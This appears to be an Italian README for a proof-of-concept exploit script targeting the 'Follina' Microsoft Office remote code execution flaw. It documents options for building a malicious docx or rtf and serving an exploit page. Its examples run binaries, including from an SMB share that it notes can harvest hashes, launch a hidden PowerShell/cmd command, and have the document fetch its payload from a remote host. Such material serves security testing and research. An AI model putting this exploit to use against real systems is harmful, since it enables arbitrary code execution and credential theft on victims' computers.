
POC per replicare l'intera vulnerabilità RCE 'Follina' di Office a scopo di test
POC veloce per replicare la vulnerabilità RCE 'Follina' di Office a scopo di test locale. L'esecuzione dello script genererà un file payload clickme.docx (o clickme.rtf) nella directory di lavoro corrente e avvierà un server web con il file payload (www/exploit.html). I parametri del payload e del server web sono configurabili (vedi help ed esempi).
⚠ NON USARE IN PRODUZIONE O SARAI CONSIDERATO UN IMBECILLE
$ python .\follina.py -h
usage: follina.py [-h] -m {command,binary} [-b BINARY] [-c COMMAND] -t {rtf,docx} [-u URL] [-H HOST] [-P PORT]
options:
-h, --help show this help message and exit
Required Arguments:
-m {command,binary}, --mode {command,binary}
Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command
Binary Execution Arguments:
-b BINARY, --binary BINARY
The full path of the binary to run. Can be local or remote from an SMB share
Command Execution Arguments:
-c COMMAND, --command COMMAND
The encoded command to execute in "command" mode
Optional Arguments:
-t {rtf,docx}, --type {rtf,docx}
The type of payload to use, can be "docx" or "rtf"
-u URL, --url URL The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified
-H HOST, --host HOST The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)
-P PORT, --port PORT The port to run the HTTP server on, defaults to 80
# Esegue un binario locale
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe
# Su linux potresti dover eseguire l'escape delle barre rovesciate
python .\follina.py -t rtf -m binary -b \\windows\\system32\\calc.exe
# Esegue un binario da una condivisione di file (può essere usato per raccogliere hash 👀)
python .\follina.py -t docx -m binary -b \\localhost\c$\windows\system32\calc.exe
# Esegue un comando PowerShell arbitrario
python .\follina.py -t rtf -m command -c "Start-Process c:\windows\system32\cmd.exe -WindowStyle hidden -ArgumentList '/c echo owned > c:\users\public\owned.txt'"
# Avvia il server web sull'interfaccia predefinita (tutte le interfacce, 0.0.0.0), ma indica al documento maligno di recuperarlo all'indirizzo http://1.2.3.4/exploit.html
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u 1.2.3.4
# Esegue il server web solo su localhost, sulla porta 8080 invece della 80
python .\follina.py -t rtf -m binary -b \windows\system32\calc.exe -H 127.0.0.1 -P 8080
Grazie a Kevin Beaumont per la sua analisi originale del problema, @KevTheHermit per aver condiviso il loro POC, e John Hammond per il loro ulteriore lavoro sull'analisi dei requisiti del payload. Un ringraziamento aggiuntivo a @mkolsek per il modello compatibile con Office 2019, e a @theluemmel per aver condiviso con me la loro versione del payload.